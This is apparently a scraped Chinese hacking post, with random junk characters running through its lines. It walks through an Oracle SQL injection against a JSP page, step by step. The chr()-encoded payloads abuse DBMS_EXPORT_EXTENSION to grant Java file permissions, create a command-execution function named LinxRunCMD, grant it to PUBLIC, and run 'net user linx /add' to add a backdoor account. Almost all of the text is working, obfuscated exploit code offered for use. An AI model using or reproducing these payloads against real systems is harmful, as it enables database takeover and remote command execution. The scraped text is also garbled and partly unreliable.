* q0 N7 z8 M+ |+ t0 M/xxx.jsp?id=1 and chr(49)<>chr(50)||(# ~# K) b2 Q! \8 ]/ I k+ a
1 g% @: |5 Z3 l: i
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),( V) W* V* g3 n) w0 j6 s$ R* t
chr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||
% A8 \+ `7 f. hchr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||8 ^* p* x G' R4 _" V4 M# t' h! d, ^# G
chr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||
. ]9 b! q$ p1 g, N* N* ^) Qchr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(98)||chr(101)||chr(103)||chr(105)||chr(110)||chr(32)||chr(100)||chr(98)||chr(109)||chr(115)||chr(95)||chr(106)||chr(97)||chr(118)||chr(97)||
9 u4 B" h1 I' m B" @- bchr(46)||chr(103)||chr(114)||chr(97)||chr(110)||chr(116)||chr(95)||chr(112)||chr(101)||chr(114)||chr(109)||chr(105)||chr(115)||chr(115)||chr(105)||chr(111)||chr(110)||chr(40)||chr(32)||chr(39)||chr(39)||chr(39)||chr(39)||chr(80)||chr(85)||chr(66)||chr(76)||chr(73)||chr(67)||chr(39)||
+ J4 ^& Y# F" E7 m$ Uchr(39)||chr(39)||chr(39)||chr(44)||chr(32)||chr(39)||chr(39)||chr(39)||chr(39)||chr(83)||chr(89)||chr(83)||chr(58)||chr(106)||chr(97)||chr(118)||chr(97)||chr(46)||chr(105)||chr(111)||chr(46)||chr(70)||chr(105)||chr(108)||chr(101)||chr(80)||chr(101)||chr(114)||chr(109)||chr(105)||
+ x2 T0 R" @, H) e: Fchr(115)||chr(115)||chr(105)||chr(111)||chr(110)||chr(39)||chr(39)||chr(39)||chr(39)||chr(44)||chr(32)||chr(39)||chr(39)||chr(39)||chr(39)||chr(60)||chr(60)||chr(65)||chr(76)||chr(76)||chr(32)||chr(70)||chr(73)||chr(76)||chr(69)||chr(83)||chr(62)||chr(62)||chr(39)||chr(39)||( ? d* ?5 a8 S0 c. H+ t
chr(39)||chr(39)||chr(44)||chr(32)||chr(39)||chr(39)||chr(39)||chr(39)||chr(101)||chr(120)||chr(101)||chr(99)||chr(117)||chr(116)||chr(101)||chr(39)||chr(39)||chr(39)||chr(39)||chr(41)||chr(59)||chr(101)||chr(110)||chr(100)||chr(59)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||
6 ~/ b7 N5 G. u5 Xchr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45); l+ j! {) e3 ^+ r! x1 E3 c1 b
,chr(83)||chr(89)||chr(83),0,chr(49),0) from dual
6 l% T# n. V6 X4 e8 u& k' ~* H0 ~; I- B9 s+ r: H
)
/ t. m+ x$ n# _9 k( h0 ?7 K" k- B) n, p: a/ G/ h4 x) N; G
readfile函数的ascii版就不写了,见谅。
1 J3 o. |! _5 Q
% p' d6 g3 H4 I b3.创建函数$ r, f; ?. g F' o; ]
* Z2 Z& X; ]+ q }$ tselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),! G5 k8 c3 ~. e; K" _
chr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||- P5 _9 H9 m+ }3 E8 O
chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||, y V; o. J5 J
chr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||0 d* _. f" o" p2 G {
chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(99)||chr(114)||chr(101)||chr(97)||chr(116)||chr(101)||chr(32)||chr(111)||chr(114)||chr(32)||chr(114)||chr(101)||chr(112)||chr(108)||chr(97)||! `( [' h) M |# @" s$ d& H
chr(99)||chr(101)||chr(32)||chr(102)||chr(117)||chr(110)||chr(99)||chr(116)||chr(105)||chr(111)||chr(110)||chr(32)||chr(76)||chr(105)||chr(110)||chr(120)||chr(82)||chr(117)||chr(110)||chr(67)||chr(77)||chr(68)||chr(40)||chr(112)||chr(95)||chr(99)||chr(109)||chr(100)||chr(32)||chr(105)||
* d' i; B1 E8 I S6 _" n5 j0 gchr(110)||chr(32)||chr(118)||chr(97)||chr(114)||chr(99)||chr(104)||chr(97)||chr(114)||chr(50)||chr(41)||chr(32)||chr(32)||chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(118)||chr(97)||chr(114)||chr(99)||chr(104)||chr(97)||chr(114)||chr(50)||chr(32)||chr(32)||# L, f/ h# S3 s- k
chr(97)||chr(115)||chr(32)||chr(108)||chr(97)||chr(110)||chr(103)||chr(117)||chr(97)||chr(103)||chr(101)||chr(32)||chr(106)||chr(97)||chr(118)||chr(97)||chr(32)||chr(110)||chr(97)||chr(109)||chr(101)||chr(32)||chr(39)||chr(39)||chr(39)||chr(39)||chr(76)||chr(105)||chr(110)||chr(120)||
q& a$ a, D+ p# q/ \1 l. X Nchr(85)||chr(116)||chr(105)||chr(108)||chr(46)||chr(114)||chr(117)||chr(110)||chr(67)||chr(77)||chr(68)||chr(40)||chr(106)||chr(97)||chr(118)||chr(97)||chr(46)||chr(108)||chr(97)||chr(110)||chr(103)||chr(46)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(41)||chr(32)||) ~+ r4 Y7 B6 E% @: V1 e2 j2 r( |
chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(39)||chr(39)||chr(39)||chr(39)||chr(59)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||7 [ b3 ~" D4 i" S$ J
chr(59)||chr(45)||chr(45), o' G$ M" Q" ~/ a5 y
,chr(83)||chr(89)||chr(83),0,chr(49),0) from dual' N; r4 T) X, D
0 }* _, `% h B. i
0 f! R F) V# y+ e0 N' t! Y5 } | H) @/ ]
4.赋public执行函数的权限
$ C0 O4 w( S U3 J: Z' G) n( ?! R" }' }
+ A$ d1 d2 A9 i1 Sselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),
7 E, i" c& z+ }, M. N0 Qchr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||
, Y& g, O8 f3 x% D" ~chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||
5 P* \8 p9 }; F; C8 U1 Dchr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||
/ a0 u: q, f' p( A+ Dchr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(103)||chr(114)||chr(97)||chr(110)||chr(116)||chr(32)||chr(97)||chr(108)||chr(108)||chr(32)||chr(111)||chr(110)||chr(32)||chr(76)||chr(105)||
9 t. p: a" w; S2 Pchr(110)||chr(120)||chr(82)||chr(117)||chr(110)||chr(67)||chr(77)||chr(68)||chr(32)||chr(116)||chr(111)||chr(32)||chr(112)||chr(117)||chr(98)||chr(108)||chr(105)||chr(99)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||
" e# H- V, I- Y( [chr(59)||chr(45)||chr(45)
: Z x9 M, a( w* W) P. P,chr(83)||chr(89)||chr(83),0,chr(49),0) from dual
9 k8 d- x. \0 F/ a2 u' J# _6 h6 N! s9 w, b( y1 Y1 P# v
' R0 a5 T1 g& ?) s7 K% ?0 b' e1 v( e) I
5.执行命令:
/ y1 b) X, E0 ~3 V
! U! N: v0 w$ D9 }3 l3 C/xxx.jsp?id=1 and chr(49)<>chr(32)||(% o9 z0 |. V! C" l8 \, L
select sys.LinxRunCMD('cmd /c net user linx /add') from dual
7 i$ R& ~4 h6 }) ~7 l) k0 g# P+ g: G& z' n) _
$ G2 u0 N! s N) H即
1 ^2 v1 B* C! l8 r8 f/xxx.jsp?id=1 and chr(49)<>chr(32)||(0 F- h' n& t' ~: Q
select sys.LinxRunCMD(chr(99)||chr(109)||chr(100)||chr(32)||chr(47)||chr(99)||chr(32)||chr(110)||chr(101)||chr(116)||chr(32)||chr(117)||chr(115)||chr(101)||chr(114)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(32)||chr(47)||chr(97)||chr(100)||chr(100)) from dual: b( K$ {' g: ` ]. |% P
)
$ g" P, s5 g8 W* b |